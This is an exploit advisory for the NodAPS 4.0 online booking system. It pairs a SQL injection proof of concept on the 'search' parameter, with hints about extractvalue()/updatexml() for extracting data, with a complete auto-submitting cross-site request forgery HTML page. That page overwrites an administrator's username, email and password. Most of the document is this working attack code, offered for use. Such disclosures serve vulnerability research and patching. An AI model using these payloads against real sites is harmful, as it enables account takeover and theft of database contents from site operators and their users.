# Exploit Title: Online Booking system - NodAPS 4.0 - 'search' SQL injection / Cross-Site Request Forgery # Date: 2018-05-16 # Exploit Author: Borna nematzadeh (L0RD) # Vendor Homepage: https://codecanyon.net/item/appointment-management-system-nodaps/16197805?s_rank=1535 # Version: 4.0 # Tested on: windows ================================================ # POC 1 : SQLi # test : test.com/en/providers?search=' # Description: Put ' in the search parameter and you will have SQL syntax error. You can use "extractvalue()" or "updatexml()" functions to get data from database. ================================================ # POC 2 : CSRF # Description: An issue was discovered in Online Booking system - NodAPS 4.0 script. With Cross-site request forgery (CSRF) vulnerability , attacker can hijack the authentication of users remotely. ================================================ # Exploit : <html> <head> <title>CSRF POC</title> </head> <body> <form action="http://test.com/admin/accountSetting" method="POST"> <input type="hidden" name="data[username]" value="testcsrf /> <input type="hidden" name="data[email]" value="lord.nematzadeh123@gmail.com" /> <input type="hidden" name="data[firstname]" value="test2" /> <input type="hidden" name="data[lastname]" value="test3" /> <input type="hidden" name="data[mobile]" value="1000000000" /> <input type="hidden" name="data[website]" value="" /> <input type="hidden" name="data[password]" value="1234567890-" /> <input type="hidden" name="data[language_id]" value="1" /> </form> <script> document.forms[0].submit(); </script> </body> </html>